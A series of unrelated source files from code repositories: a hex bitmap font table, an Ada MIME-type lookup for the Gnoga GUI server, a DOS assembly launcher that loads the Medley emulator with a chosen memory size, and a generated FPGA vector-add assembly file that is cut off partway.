HEX 03333200 00003200 00032000
HEX 00320000 00320000 00000000
HEX 00000000 00000000
HEX 00333000 03101300 00333000
HEX 03101300 00333000 00000000
HEX 00000000 00000000
HEX 00333000 03101300 00333300
HEX 00001300 00333000 00000000
HEX 00000000 00000000
HEX 00000000 00320000 00000000
HEX 00320000 00000000 00000000
HEX 00000000 00000000
HEX 00000000 00230000 00000000
HEX 00130000 00300000 00000000
HEX 00000000 00000000
HEX 00031000 00310000 03100000
HEX 00310000 00031000 00000000
HEX 00000000 00000000
HEX 00000000 03333300 00000000
HEX 03333300 00000000 00000000
HEX 00000000 00000000
HEX 01300000 00130000 00013000
HEX 00130000 01300000 00000000
HEX 00000000 00000000
HEX 02330000 00013000 00330000
HEX 00000000 00310000 00000000
HEX 00000000 00000000
HEX 00333000 03130300 03023200
HEX 03100000 00333000 00000000
HEX 00000000 00000000
HEX 00333000 03101300 03333300
HEX 03000300 03000300 00000000
HEX 00000000 00000000
HEX 03333000 03001300 03333000
HEX 03001300 03333000 00000000
HEX 00000000 00000000
HEX 00333200 03100100 03000000
HEX 03100100 00333200 00000000
HEX 00000000 00000000
HEX 03333000 03001300 03000300
HEX 03001300 03333000 00000000
HEX 00000000 00000000
HEX 03333300 03000000 03330000
HEX 03000000 03333300 00000000
HEX 00000000 00000000
HEX 03333300 03000000 03330000
HEX 03000000 03000000 00000000
HEX 00000000 00000000
HEX 00333200 03100000 03003300
HEX 03100300 00333100 00000000
HEX 00000000 00000000
HEX 03000300 03000300 03333300
HEX 03000300 03000300 00000000
HEX 00000000 00000000
HEX 00333000 00030000 00030000
HEX 00030000 00333000 00000000
HEX 00000000 00000000
HEX 00033300 00003000 00003000
HEX 03103000 00331000 00000000
HEX 00000000 00000000
HEX 03000300 03003000 03330000
HEX 03003000 03000300 00000000
HEX 00000000 00000000
HEX 03000000 03000000 03000000
HEX 03000000 03333300 00000000
HEX 00000000 00000000
HEX 03000300 03303300 03030300
HEX 03000300 03000300 00000000
HEX 00000000 00000000
HEX 03000300 03300300 03030300
HEX 03003300 03000300 00000000
HEX 00000000 00000000
HEX 00333000 03101300 03000300
HEX 03101300 00333000 00000000
HEX 00000000 00000000
HEX 03333000 03001300 03333000
HEX 03000000 03000000 00000000
HEX 00000000 00000000
HEX 00333000 03101300 03000300
HEX 03102300 00333200 00000020
HEX 00000000 00000000
HEX 03333000 03001300 03333000
HEX 03003000 03000300 00000000
HEX 00000000 00000000
HEX 00333200 03100100 00333000
HEX 01001300 02333000 00000000
HEX 00000000 00000000
HEX 03333300 00030000 00030000
HEX 00030000 00030000 00000000
HEX 00000000 00000000
HEX 03000300 03000300 03000300
HEX 03101300 00333000 00000000
HEX 00000000 00000000
HEX 03000300 03000300 03000300
HEX 00303000 00030000 00000000
HEX 00000000 00000000
HEX 03000300 03000300 03030300
HEX 03030300 00303000 00000000
HEX 00000000 00000000
HEX 03000300 00303000 00030000
HEX 00303000 03000300 00000000
HEX 00000000 00000000
HEX 03000300 00303000 00030000
HEX 00030000 00030000 00000000
HEX 00000000 00000000
HEX 03333300 00003000 00030000
HEX 00300000 03333300 00000000
HEX 00000000 00000000
HEX 00003300 00003000 00003000
HEX 00003000 00003300 00000000
HEX 00000000 00000000
HEX 03000000 00300000 00030000
HEX 00003000 00000300 00000000
HEX 00000000 00000000
HEX 03300000 00300000 00300000
HEX 00300000 03300000 00000000
HEX 00000000 00000000
HEX 00030000 00333000 02131200
HEX 00030000 00030000 00000000
HEX 00000000 00000000
HEX 00000000 00000000 00000000
HEX 00000000 33333330 00000000
HEX 00000000 00000000
HEX 00033000 00300300 03330000
HEX 00300000 03333300 00000000
HEX 00000000 00000000
HEX 00000000 00330000 00113000
HEX 03223000 00333000 00000000
HEX 00000000 00000000
HEX 03000000 03000000 03330000
HEX 03013000 03330000 00000000
HEX 00000000 00000000
HEX 00000000 00333000 03100000
HEX 03100000 00333000 00000000
HEX 00000000 00000000
HEX 00003000 00003000 00333000
HEX 03103000 00333000 00000000
HEX 00000000 00000000
HEX 00000000 00330000 03223000
HEX 03110000 00333000 00000000
HEX 00000000 00000000
HEX 00331000 03100000 03310000
HEX 03000000 03000000 00000000
HEX 00000000 00000000
HEX 00000000 00333000 03103000
HEX 00333000 00013000 00330000
HEX 00000000 00000000
HEX 03000000 03000000 03331000
HEX 03003000 03003000 00000000
HEX 00000000 00000000
HEX 00030000 00000000 00230000
HEX 00030000 00232000 00000000
HEX 00000000 00000000
HEX 00030000 00000000 00030000
HEX 00030000 03030000 00300000
HEX 00000000 00000000
HEX 03000000 03003000 03330000
HEX 03003000 03003000 00000000
HEX 00000000 00000000
HEX 00300000 00300000 00300000
HEX 00300000 00030000 00000000
HEX 00000000 00000000
HEX 00000000 03303000 03131300
HEX 03030300 03030300 00000000
HEX 00000000 00000000
HEX 00000000 03330000 03013000
HEX 03003000 03003000 00000000
HEX 00000000 00000000
HEX 00000000 00330000 03003000
HEX 03003000 00330000 00000000
HEX 00000000 00000000
HEX 00000000 03330000 03013000
HEX 03013000 03330000 03000000
HEX 00000000 00000000
HEX 00000000 00333000 03103000
HEX 03103000 00333000 00002300
HEX 00000000 00000000
HEX 00000000 03033000 03300000
HEX 03000000 03000000 00000000
HEX 00000000 00000000
HEX 00000000 00333000 03220000
HEX 00113000 03330000 00000000
HEX 00000000 00000000
HEX 00300000 01331000 00300000
HEX 00310000 00031000 00000000
HEX 00000000 00000000
HEX 00000000 03003000 03003000
HEX 03103000 02333000 00000000
HEX 00000000 00000000
HEX 00000000 03000300 03000300
HEX 00303000 00030000 00000000
HEX 00000000 00000000
HEX 00000000 03030300 03030300
HEX 03131300 03303000 00000000
HEX 00000000 00000000
HEX 00000000 03003000 03103000
HEX 00330000 03013000 00000000
HEX 00000000 00000000
HEX 00000000 03003000 03103000
HEX 02333000 00013000 03330000
HEX 00000000 00000000
HEX 00000000 03333000 00030000
HEX 00300000 03333000 00000000
HEX 00000000 00000000
HEX 00002300 00003000 00032000
HEX 00003000 00002300 00000000
HEX 00000000 00000000
HEX 00032000 00032000 00000000
HEX 00032000 00032000 00000000
HEX 00000000 00000000
HEX 03200000 00300000 00230000
HEX 00300000 03200000 00000000
HEX 00000000 00000000
HEX 01331030 03013310 00000000
HEX 00000000 00000000 00000000
HEX 00000000 00000000
HEX 00333300 03122130 03210030
HEX 03210030 03122130 00333300
; HEX 00000000 00000000
HEX 00000000 ; one line less after last char
|
ada_gui-gnoga-server-mime.adb
|
jrcarter/Ada_GUI
| 19 |
23184
|
-- Ada_GUI implementation based on Gnoga. Adapted 2021
-- --
-- GNOGA - The GNU Omnificent GUI for Ada --
-- --
-- G N O G A . S E R V E R . M I M E --
-- --
-- B o d y --
-- --
-- --
-- Copyright (C) 2014 <NAME> --
-- --
-- This library is free software; you can redistribute it and/or modify --
-- it under terms of the GNU General Public License as published by the --
-- Free Software Foundation; either version 3, or (at your option) any --
-- later version. This library is distributed in the hope that it will be --
-- useful, but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are --
-- granted additional permissions described in the GCC Runtime Library --
-- Exception, version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- For more information please go to http://www.gnoga.com --
------------------------------------------------------------------------------
with Ada.Directories;
package body Ada_GUI.Gnoga.Server.Mime is
---------------
-- Mime_Type --
---------------
function Mime_Type (File_Name : String) return String is
Ext : constant String := Ada.Directories.Extension (File_Name);
begin
if Ext = "js" then
return "text/javascript";
elsif Ext = "css" then
return "text/css";
elsif Ext = "jpg" or Ext = "jpeg" or Ext = "jpe" then
return "image/jpg";
elsif Ext = "png" then
return "image/png";
elsif Ext = "gif" then
return "image/gif";
elsif Ext = "pdf" then
return "application/pdf";
elsif Ext = "zip" then
return "application/zip";
elsif Ext = "gz" or Ext = "z" then
return "application/x-gzip";
elsif Ext = "ico" then
return "image/x-icon";
elsif Ext = "html" or Ext = "htm" then
return "text/html";
else
return "text/plain";
end if;
end Mime_Type;
end Ada_GUI.Gnoga.Server.Mime;
|
bin/launch.asm
|
moon-chilled/maiko
| 0 |
241976
|
;************************************************************************
;* *
;* l a u n c h . a s m *
;* *
;* This is the launcher for Medley on DOS. It: *
;* *
;* * Looks for and validates any -m memsize argument on the *
;* command line. Only values in the range 8 - 32 are allowed. *
;* *
;* * Loads the real Medley emulator, emul.exe, from the same *
;* directory that the launcher came from. *
;* *
;* * Sets the Intel DOS Extender's profile to the requested *
;* memory size + 3Mb (to allow for the emulator, internal *
;* data areas, etc.) *
;* *
;* * Set the termination address in the child process's PSP, *
;* so control returns to the launcher when Medley terminates. *
;* *
;* * Jumps to the emulator's start address. *
;* *
;* * Upon return, just terminates cleanly. *
;* *
;* [We could perhaps do some diagnosis here of error returns?] *
;* *
;* *
;* *
;************************************************************************
;************************************************************************/
;* */
;* (C) Copyright 1993, 1994 Venue. All Rights Reserved. */
;* Manufactured in the United States of America. */
;* */
;************************************************************************/
.model small
.386p
.stack 100h
.data
align 8
;********************************************************
;* Parameter block for INT 214B, that loads medley.exe *
;********************************************************
envseg DW 0 ; environment (0 = copy mine)
cmdip DW ? ; command-line-tail pointer
cmdcs DW ?
fcb1 DD ? ; dummy first FCB to fill in
fcb2 DD ? ; " 2nd FCB, not here in DOS 4.01???
stk DD ? ; SS:SP for emul.exe, filled in by loader
csip DD ? ; start addr for emul.exe, filled in by loader
retad DD FAR PTR myret ; cs:ip return address, to put in
; child PSP, so we get control back.
;* Error messages, misc strings, and work areas*
align 8
memval dd 0
errstg DB 'ERROR: Couldn''t free excess storage.',13,10,'$'
noload db 'ERROR: Loading emulator failed: $'
loaded db 'LOAD SUCCESSFUL.',13,10,'$'
nominfo db 'ERROR: -m must be followed by a number 8 - 64.',13,10,'$'
badexe db 'ERROR: emul.exe is corrupted.',13,10,'$'
emulpath DB 'emul.exe',0 ; name of the real emulator.
mflag db '-m' ; to search for -m/-M in cmd line
mmflag db '-M'
profile db 'PRO' ; to find the DOS extender profile
cmdline db 128 dup (?) ; hold the cmd line tail for real emulator
;* Error-message table for failures loading emul.exe
align 2
errtbl dw OFFSET ng0msg ; 0 = unknown failure
dw OFFSET ng1msg ; 1 = "invalid function"
dw OFFSET ng2msg ; 2 = file not found
dw OFFSET ng3msg ; 3 = path not found
dw OFFSET ng4msg ; 4 = too many open files
dw OFFSET ng5msg ; 5 = access denied
dw OFFSET ng0msg ; 6 = not possible error
dw OFFSET ng0msg ; 7 = not possible error
dw OFFSET ng8msg ; 8 = insufficient storage
dw OFFSET ng0msg ; 9 = not possible
dw OFFSET ngamsg ; A = bad environment
dw OFFSET ngbmsg ; B = bad format (corrupt .exe?)a
ng0msg db 'Unknown problem',13,10,'$'
ng1msg db 'Invalid Function',13,10
db 'Make sure you are running DOS 4.0 or later.',13,10,'$'
ng2msg db 'File not found.',13,10
db 'CD to proper directory, or set PATH.',13,10,'$'
ng3msg db 'Path not found.',13,10
db 'CD to proper directory, or set PATH.',13,10,'$'
ng4msg db 'Too many files open.',13,10
db 'Shut down some TSRs that have file open?',13,10,'$'
ng5msg db 'Access denied.',13,10
db 'Make sure of your access rights to emul.exe?',13,10,'$'
ng8msg db 'Not enough memory.',13,10
db 'Shut down some TSR applications?',13,10,'$'
ngamsg db 'Environment corrupt.',13,10
db 'Check using SET; You may need to re-boot.',13,10,'$'
ngbmsg db 'EXE file corrupted.',13,10,'$'
db 'You may need to restore from backup or re-install.',13,10,'$'
.code
;************************************************************************
;* *
;* M A C R O S *
;* *
;* prints Given a string ptr in DX, print it to the display. *
;* *
;* kill Exit cleanly, using INT 21/4C *
;* *
;************************************************************************
prints macro text
mov dx, OFFSET text
mov ah,9
int 21h
endm
kill macro
mov ah,4ch
int 21h
endm
;************************************************************************
;* *
;* M A I N E N T R Y *
;* *
;* *
;* *
;* *
;* *
;************************************************************************
PUBLIC main
main PROC NEAR
mov ax,ds ; Save memory-block start for freeing
mov es,ax ; excess memory in a bit.
mov ax,@data ; DS points to start of data segment
mov ds,ax
mov cmdcs, ax ; Copy the command line for the emulator
mov cmdip, OFFSET cmdline
mov di, OFFSET cmdline
mov cx,128
mov bx,es
mov dx,ds
mov es,dx
mov ds,bx
mov si,80h
rep
movsb
mov es,bx ; Free the excess memory that DOS gives
mov ds,dx ; us (we need it for the emulator)
mov ax,4a00h
mov bx,090h ; We only need 900h bytes for this program
int 21h
jnc freeok
prints errstg ; Couldn't free spare space; punt.
kill
;************************************************
;* Search the command line for -m or -M *
;************************************************
freeok:
mov di,81h ; start of command line tail
mov si, OFFSET mflag
mov cx, 2
mov bx,81h
add bl,es:[80h]
m1lp: call strcmp
je fndm
add di, 1
cmp di, bx
jl m1lp
mov di,81h ; start of command line tail
mov si, OFFSET mmflag
m2lp: call strcmp
je fndm
add di, 1
cmp di, bx
jl m2lp
mov memval,02400000h ; memory value not set--use 35MB total.
jmp doload
fndm: add di,2 ; Found "-m". Now look for a number
cmp di,bx ; (Make sure it's not end of line)
jnl nogoodm
ok1:
mov edx, 0 ; Holds the memory-requirement value
mov ax,0 ; holds characters as we read
;************************************************
;* Skip over spaces/tabs before any number *
;************************************************
skiplp:
mov al, es:[di]
inc di
cmp al, 20h ; spaces
je skiplp
cmp al, 09h ; tabs
je skiplp
cmp di,bx ; make sure we're still in the string
jle cnvst ; Yup, we've got the first char, so enter
; the conversion loop part-way down.
nogoodm:
prints nominfo ; no arg to -m, or it's bad; Punt.
kill
;********************************************************
; Convert the numeric argument to -m; result in edx. *
;********************************************************
cnvlp: mov al,es:[di]
add di, 1
cnvst: cmp al, 30h
jl endcnv
cmp al, 39h
jg endcnv
sub al, 30h
imul dx, 10
add dx, ax
jmp cnvlp
endcnv:
cmp edx,0 ; if still 0, no valid chars!
je nogoodm
cmp edx, 8 ; must be in the range [8, 32]
jl nogoodm
cmp edx,64
jg nogoodm
add edx, 3 ; add 3mb for data areas, etc, and
sal edx, 20 ; convert to megabytes
mov memval, edx ; save memory requested
;************************************************
;* Load the real emulator .EXE file, emul.exe *
;************************************************
doload: mov dx, OFFSET emulpath
mov ax, seg envseg
mov es, ax
mov bx, OFFSET envseg
mov ax,4b01h ; load-don't-start
int 21h
jnc loadok
add ax,ax
mov si,ax
prints noload
mov bx,OFFSET errtbl
mov dx,ds:[bx+si]
mov ah,9
int 21h
kill
loadok: ; Load succeeded.
mov ah,51h ; get PSP address for child
int 21h
mov es, bx ; get segment for DI addressing
; mov cx,128 ; copy the command line tail
; mov di,80h ; (which appears to be flaky in DOS 4)
; mov si, offset cmdline
; rep
; movsb
mov eax,retad
mov dword ptr es:[+0ah], eax ; set up return address.
cmp memval, 0 ; If no -m value given, just
je dorun ; go start the emulator.
mov di,0 ; Search for the Intel Extender's PROFILE
mov si, OFFSET profile ; (see extender.h)
mov cx, 3 ; (length is 3 bytes)
srchlp: call strcmp
je gotprof ; found the profile; fix it.
add di, 1
cmp di, 2048
jle srchlp
prints badexe ; No extender profile, so the emulator
kill ; EXE must be corrupt. Punt.
gotprof:
mov eax,memval ; Fill in the memory requirement.
mov es:[di+1bch], eax
;********************************************************
;* *
;* Set up the stack seg/pointer & start medley. *
;* *
;********************************************************
dorun: lss sp,stk ; load stack SS & SP regs
mov ax, es ; copy PSP ptr to ax & ds, since some
mov bx, ds ; code expects it in both places.
mov fs,bx ; Also, copy DS to FS, so we still have
mov ds,ax ; a base for the indirect jump . . .
jmp fs:[csip] ; to start-of-medley.
myret: kill ; we get back here, so quit gracefully.
main endp
;************************************************************************/
;* */
;* s t r c m p */
;* */
;* Compare [ds]di and es:[si] for (CX) characters. If the */
;* strings are equal, the Zero flag is set when this returns. */
;* */
;* All registers are preserved. */
;* */
;************************************************************************/
strcmp proc near
cld
push di
push si
push cx
repe
cmpsb
pop cx
pop si
pop di
ret
strcmp endp
END
|
examples/asm/tadd_512.asm
|
ptorru/reticle
| 35 |
93504
|
def main(en:bool, a0:i8<4>, b0:i8<4>, a1:i8<4>, b1:i8<4>, a2:i8<4>, b2:i8<4>, a3:i8<4>, b3:i8<4>, a4:i8<4>, b4:i8<4>, a5:i8<4>, b5:i8<4>, a6:i8<4>, b6:i8<4>, a7:i8<4>, b7:i8<4>, a8:i8<4>, b8:i8<4>, a9:i8<4>, b9:i8<4>, a10:i8<4>, b10:i8<4>, a11:i8<4>, b11:i8<4>, a12:i8<4>, b12:i8<4>, a13:i8<4>, b13:i8<4>, a14:i8<4>, b14:i8<4>, a15:i8<4>, b15:i8<4>, a16:i8<4>, b16:i8<4>, a17:i8<4>, b17:i8<4>, a18:i8<4>, b18:i8<4>, a19:i8<4>, b19:i8<4>, a20:i8<4>, b20:i8<4>, a21:i8<4>, b21:i8<4>, a22:i8<4>, b22:i8<4>, a23:i8<4>, b23:i8<4>, a24:i8<4>, b24:i8<4>, a25:i8<4>, b25:i8<4>, a26:i8<4>, b26:i8<4>, a27:i8<4>, b27:i8<4>, a28:i8<4>, b28:i8<4>, a29:i8<4>, b29:i8<4>, a30:i8<4>, b30:i8<4>, a31:i8<4>, b31:i8<4>, a32:i8<4>, b32:i8<4>, a33:i8<4>, b33:i8<4>, a34:i8<4>, b34:i8<4>, a35:i8<4>, b35:i8<4>, a36:i8<4>, b36:i8<4>, a37:i8<4>, b37:i8<4>, a38:i8<4>, b38:i8<4>, a39:i8<4>, b39:i8<4>, a40:i8<4>, b40:i8<4>, a41:i8<4>, b41:i8<4>, a42:i8<4>, b42:i8<4>, a43:i8<4>, b43:i8<4>, a44:i8<4>, b44:i8<4>, a45:i8<4>, b45:i8<4>, a46:i8<4>, b46:i8<4>, a47:i8<4>, b47:i8<4>, a48:i8<4>, b48:i8<4>, a49:i8<4>, b49:i8<4>, a50:i8<4>, b50:i8<4>, a51:i8<4>, b51:i8<4>, a52:i8<4>, b52:i8<4>, a53:i8<4>, b53:i8<4>, a54:i8<4>, b54:i8<4>, a55:i8<4>, b55:i8<4>, a56:i8<4>, b56:i8<4>, a57:i8<4>, b57:i8<4>, a58:i8<4>, b58:i8<4>, a59:i8<4>, b59:i8<4>, a60:i8<4>, b60:i8<4>, a61:i8<4>, b61:i8<4>, a62:i8<4>, b62:i8<4>, a63:i8<4>, b63:i8<4>, a64:i8<4>, b64:i8<4>, a65:i8<4>, b65:i8<4>, a66:i8<4>, b66:i8<4>, a67:i8<4>, b67:i8<4>, a68:i8<4>, b68:i8<4>, a69:i8<4>, b69:i8<4>, a70:i8<4>, b70:i8<4>, a71:i8<4>, b71:i8<4>, a72:i8<4>, b72:i8<4>, a73:i8<4>, b73:i8<4>, a74:i8<4>, b74:i8<4>, a75:i8<4>, b75:i8<4>, a76:i8<4>, b76:i8<4>, a77:i8<4>, b77:i8<4>, a78:i8<4>, b78:i8<4>, a79:i8<4>, b79:i8<4>, a80:i8<4>, b80:i8<4>, a81:i8<4>, b81:i8<4>, a82:i8<4>, b82:i8<4>, a83:i8<4>, b83:i8<4>, a84:i8<4>, b84:i8<4>, a85:i8<4>, b85:i8<4>, a86:i8<4>, b86:i8<4>, a87:i8<4>, b87:i8<4>, a88:i8<4>, b88:i8<4>, a89:i8<4>, b89:i8<4>, a90:i8<4>, b90:i8<4>, a91:i8<4>, b91:i8<4>, a92:i8<4>, b92:i8<4>, a93:i8<4>, b93:i8<4>, a94:i8<4>, b94:i8<4>, a95:i8<4>, b95:i8<4>, a96:i8<4>, b96:i8<4>, a97:i8<4>, b97:i8<4>, a98:i8<4>, b98:i8<4>, a99:i8<4>, b99:i8<4>, a100:i8<4>, b100:i8<4>, a101:i8<4>, b101:i8<4>, a102:i8<4>, b102:i8<4>, a103:i8<4>, b103:i8<4>, a104:i8<4>, b104:i8<4>, a105:i8<4>, b105:i8<4>, a106:i8<4>, b106:i8<4>, a107:i8<4>, b107:i8<4>, a108:i8<4>, b108:i8<4>, a109:i8<4>, b109:i8<4>, a110:i8<4>, b110:i8<4>, a111:i8<4>, b111:i8<4>, a112:i8<4>, b112:i8<4>, a113:i8<4>, b113:i8<4>, a114:i8<4>, b114:i8<4>, a115:i8<4>, b115:i8<4>, a116:i8<4>, b116:i8<4>, a117:i8<4>, b117:i8<4>, a118:i8<4>, b118:i8<4>, a119:i8<4>, b119:i8<4>, a120:i8<4>, b120:i8<4>, a121:i8<4>, b121:i8<4>, a122:i8<4>, b122:i8<4>, a123:i8<4>, b123:i8<4>, a124:i8<4>, b124:i8<4>, a125:i8<4>, b125:i8<4>, a126:i8<4>, b126:i8<4>, a127:i8<4>, b127:i8<4>) -> (y0:i8<4>, y1:i8<4>, y2:i8<4>, y3:i8<4>, y4:i8<4>, y5:i8<4>, y6:i8<4>, y7:i8<4>, y8:i8<4>, y9:i8<4>, y10:i8<4>, y11:i8<4>, y12:i8<4>, y13:i8<4>, y14:i8<4>, y15:i8<4>, y16:i8<4>, y17:i8<4>, y18:i8<4>, y19:i8<4>, y20:i8<4>, y21:i8<4>, y22:i8<4>, y23:i8<4>, y24:i8<4>, y25:i8<4>, y26:i8<4>, y27:i8<4>, y28:i8<4>, y29:i8<4>, y30:i8<4>, y31:i8<4>, y32:i8<4>, y33:i8<4>, y34:i8<4>, y35:i8<4>, y36:i8<4>, y37:i8<4>, y38:i8<4>, y39:i8<4>, y40:i8<4>, y41:i8<4>, y42:i8<4>, y43:i8<4>, y44:i8<4>, y45:i8<4>, y46:i8<4>, y47:i8<4>, y48:i8<4>, y49:i8<4>, y50:i8<4>, y51:i8<4>, y52:i8<4>, y53:i8<4>, y54:i8<4>, y55:i8<4>, y56:i8<4>, y57:i8<4>, y58:i8<4>, y59:i8<4>, y60:i8<4>, y61:i8<4>, y62:i8<4>, y63:i8<4>, y64:i8<4>, y65:i8<4>, y66:i8<4>, y67:i8<4>, y68:i8<4>, y69:i8<4>, y70:i8<4>, y71:i8<4>, y72:i8<4>, y73:i8<4>, y74:i8<4>, y75:i8<4>, y76:i8<4>, y77:i8<4>, y78:i8<4>, y79:i8<4>, y80:i8<4>, y81:i8<4>, y82:i8<4>, y83:i8<4>, y84:i8<4>, y85:i8<4>, y86:i8<4>, y87:i8<4>, y88:i8<4>, y89:i8<4>, y90:i8<4>, y91:i8<4>, y92:i8<4>, y93:i8<4>, y94:i8<4>, y95:i8<4>, y96:i8<4>, y97:i8<4>, y98:i8<4>, y99:i8<4>, y100:i8<4>, y101:i8<4>, y102:i8<4>, y103:i8<4>, y104:i8<4>, y105:i8<4>, y106:i8<4>, y107:i8<4>, y108:i8<4>, y109:i8<4>, y110:i8<4>, y111:i8<4>, y112:i8<4>, y113:i8<4>, y114:i8<4>, y115:i8<4>, y116:i8<4>, y117:i8<4>, y118:i8<4>, y119:i8<4>, y120:i8<4>, y121:i8<4>, y122:i8<4>, y123:i8<4>, y124:i8<4>, y125:i8<4>, y126:i8<4>, y127:i8<4>) {
y0:i8<4> = daddrega_i8v4(a0, b0, en, en, en) @dsp(??, ??);
y1:i8<4> = daddrega_i8v4(a1, b1, en, en, en) @dsp(??, ??);
y2:i8<4> = daddrega_i8v4(a2, b2, en, en, en) @dsp(??, ??);
y3:i8<4> = daddrega_i8v4(a3, b3, en, en, en) @dsp(??, ??);
y4:i8<4> = daddrega_i8v4(a4, b4, en, en, en) @dsp(??, ??);
y5:i8<4> = daddrega_i8v4(a5, b5, en, en, en) @dsp(??, ??);
y6:i8<4> = daddrega_i8v4(a6, b6, en, en, en) @dsp(??, ??);
y7:i8<4> = daddrega_i8v4(a7, b7, en, en, en) @dsp(??, ??);
y8:i8<4> = daddrega_i8v4(a8, b8, en, en, en) @dsp(??, ??);
y9:i8<4> = daddrega_i8v4(a9, b9, en, en, en) @dsp(??, ??);
y10:i8<4> = daddrega_i8v4(a10, b10, en, en, en) @dsp(??, ??);
y11:i8<4> = daddrega_i8v4(a11, b11, en, en, en) @dsp(??, ??);
y12:i8<4> = daddrega_i8v4(a12, b12, en, en, en) @dsp(??, ??);
y13:i8<4> = daddrega_i8v4(a13, b13, en, en, en) @dsp(??, ??);
y14:i8<4> = daddrega_i8v4(a14, b14, en, en, en) @dsp(??, ??);
y15:i8<4> = daddrega_i8v4(a15, b15, en, en, en) @dsp(??, ??);
y16:i8<4> = daddrega_i8v4(a16, b16, en, en, en) @dsp(??, ??);
y17:i8<4> = daddrega_i8v4(a17, b17, en, en, en) @dsp(??, ??);
y18:i8<4> = daddrega_i8v4(a18, b18, en, en, en) @dsp(??, ??);
y19:i8<4> = daddrega_i8v4(a19, b19, en, en, en) @dsp(??, ??);
y20:i8<4> = daddrega_i8v4(a20, b20, en, en, en) @dsp(??, ??);
y21:i8<4> = daddrega_i8v4(a21, b21, en, en, en) @dsp(??, ??);
y22:i8<4> = daddrega_i8v4(a22, b22, en, en, en) @dsp(??, ??);
y23:i8<4> = daddrega_i8v4(a23, b23, en, en, en) @dsp(??, ??);
y24:i8<4> = daddrega_i8v4(a24, b24, en, en, en) @dsp(??, ??);
y25:i8<4> = daddrega_i8v4(a25, b25, en, en, en) @dsp(??, ??);
y26:i8<4> = daddrega_i8v4(a26, b26, en, en, en) @dsp(??, ??);
y27:i8<4> = daddrega_i8v4(a27, b27, en, en, en) @dsp(??, ??);
y28:i8<4> = daddrega_i8v4(a28, b28, en, en, en) @dsp(??, ??);
y29:i8<4> = daddrega_i8v4(a29, b29, en, en, en) @dsp(??, ??);
y30:i8<4> = daddrega_i8v4(a30, b30, en, en, en) @dsp(??, ??);
y31:i8<4> = daddrega_i8v4(a31, b31, en, en, en) @dsp(??, ??);
y32:i8<4> = daddrega_i8v4(a32, b32, en, en, en) @dsp(??, ??);
y33:i8<4> = daddrega_i8v4(a33, b33, en, en, en) @dsp(??, ??);
y34:i8<4> = daddrega_i8v4(a34, b34, en, en, en) @dsp(??, ??);
y35:i8<4> = daddrega_i8v4(a35, b35, en, en, en) @dsp(??, ??);
y36:i8<4> = daddrega_i8v4(a36, b36, en, en, en) @dsp(??, ??);
y37:i8<4> = daddrega_i8v4(a37, b37, en, en, en) @dsp(??, ??);
y38:i8<4> = daddrega_i8v4(a38, b38, en, en, en) @dsp(??, ??);
y39:i8<4> = daddrega_i8v4(a39, b39, en, en, en) @dsp(??, ??);
y40:i8<4> = daddrega_i8v4(a40, b40, en, en, en) @dsp(??, ??);
y41:i8<4> = daddrega_i8v4(a41, b41, en, en, en) @dsp(??, ??);
y42:i8<4> = daddrega_i8v4(a42, b42, en, en, en) @dsp(??, ??);
y43:i8<4> = daddrega_i8v4(a43, b43, en, en, en) @dsp(??, ??);
y44:i8<4> = daddrega_i8v4(a44, b44, en, en, en) @dsp(??, ??);
y45:i8<4> = daddrega_i8v4(a45, b45, en, en, en) @dsp(??, ??);
y46:i8<4> = daddrega_i8v4(a46, b46, en, en, en) @dsp(??, ??);
y47:i8<4> = daddrega_i8v4(a47, b47, en, en, en) @dsp(??, ??);
y48:i8<4> = daddrega_i8v4(a48, b48, en, en, en) @dsp(??, ??);
y49:i8<4> = daddrega_i8v4(a49, b49, en, en, en) @dsp(??, ??);
y50:i8<4> = daddrega_i8v4(a50, b50, en, en, en) @dsp(??, ??);
y51:i8<4> = daddrega_i8v4(a51, b51, en, en, en) @dsp(??, ??);
y52:i8<4> = daddrega_i8v4(a52, b52, en, en, en) @dsp(??, ??);
y53:i8<4> = daddrega_i8v4(a53, b53, en, en, en) @dsp(??, ??);
y54:i8<4> = daddrega_i8v4(a54, b54, en, en, en) @dsp(??, ??);
y55:i8<4> = daddrega_i8v4(a55, b55, en, en, en) @dsp(??, ??);
y56:i8<4> = daddrega_i8v4(a56, b56, en, en, en) @dsp(??, ??);
y57:i8<4> = daddrega_i8v4(a57, b57, en, en, en) @dsp(??, ??);
y58:i8<4> = daddrega_i8v4(a58, b58, en, en, en) @dsp(??, ??);
y59:i8<4> = daddrega_i8v4(a59, b59, en, en, en) @dsp(??, ??);
y60:i8<4> = daddrega_i8v4(a60, b60, en, en, en) @dsp(??, ??);
y61:i8<4> = daddrega_i8v4(a61, b61, en, en, en) @dsp(??, ??);
y62:i8<4> = daddrega_i8v4(a62, b62, en, en, en) @dsp(??, ??);
y63:i8<4> = daddrega_i8v4(a63, b63, en, en, en) @dsp(??, ??);
y64:i8<4> = daddrega_i8v4(a64, b64, en, en, en) @dsp(??, ??);
y65:i8<4> = daddrega_i8v4(a65, b65, en, en, en) @dsp(??, ??);
y66:i8<4> = daddrega_i8v4(a66, b66, en, en, en) @dsp(??, ??);
y67:i8<4> = daddrega_i8v4(a67, b67, en, en, en) @dsp(??, ??);
y68:i8<4> = daddrega_i8v4(a68, b68, en, en, en) @dsp(??, ??);
y69:i8<4> = daddrega_i8v4(a69, b69, en, en, en) @dsp(??, ??);
y70:i8<4> = daddrega_i8v4(a70, b70, en, en, en) @dsp(??, ??);
y71:i8<4> = daddrega_i8v4(a71, b71, en, en, en) @dsp(??, ??);
y72:i8<4> = daddrega_i8v4(a72, b72, en, en, en) @dsp(??, ??);
y73:i8<4> = daddrega_i8v4(a73, b73, en, en, en) @dsp(??, ??);
y74:i8<4> = daddrega_i8v4(a74, b74, en, en, en) @dsp(??, ??);
y75:i8<4> = daddrega_i8v4(a75, b75, en, en, en) @dsp(??, ??);
y76:i8<4> = daddrega_i8v4(a76, b76, en, en, en) @dsp(??, ??);
y77:i8<4> = daddrega_i8v4(a77, b77, en, en, en) @dsp(??, ??);
